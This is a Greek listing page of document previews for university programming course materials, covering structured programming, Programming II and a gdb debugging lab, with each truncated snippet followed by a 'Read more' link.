Δομημένος Προγραμματισμός

Δομημένος Προγραμματισμός ΕΛΛΗΝΙΚΗ ΔΗΜΟΚΡΑΤΙΑ Ανώτατο Εκπαιδευτικό Ίδρυμα Πειραιά Τεχνολογικού Τομέα Δομημένος Προγραμματισμός Ενότητα: Συναρτήσεις θεωρία Δ. Ε. Μετάφας Τμ. Ηλεκτρονικών Μηχ. Τ.Ε. Άδειες Χρήσης Το παρόν εκπαιδευτικό

Διαβάστε περισσότερα

Προγραμματισμός ΙI (Θ)

Προγραμματισμός ΙI (Θ) Τεχνολογικό Εκπαιδευτικό Ίδρυμα Κεντρικής Μακεδονίας - Σέρρες Τμήμα Μηχανικών Πληροφορικής Προγραμματισμός ΙI (Θ) Δρ. Δημήτρης Βαρσάμης Επίκουρος Καθηγητής Μάρτιος 2017 Δρ. Δημήτρης Βαρσάμης Μάρτιος 2017

Διαβάστε περισσότερα

EPL475:Εργαστήριο 5, GDB

EPL475:Εργαστήριο 5, GDB EPL475:Εργαστήριο 5, GDB Στο σημερινό εργαστήριο θα χρησιμοποιήσουμε το εργαλείο gdb για αποσφαλμάτωση. Με το τέλος αυτού του εργαστήριου οι φοιτητές θα μπορούν να: Να φορτώνουν εκτελέσιμο αρχείο στον

Διαβάστε περισσότερα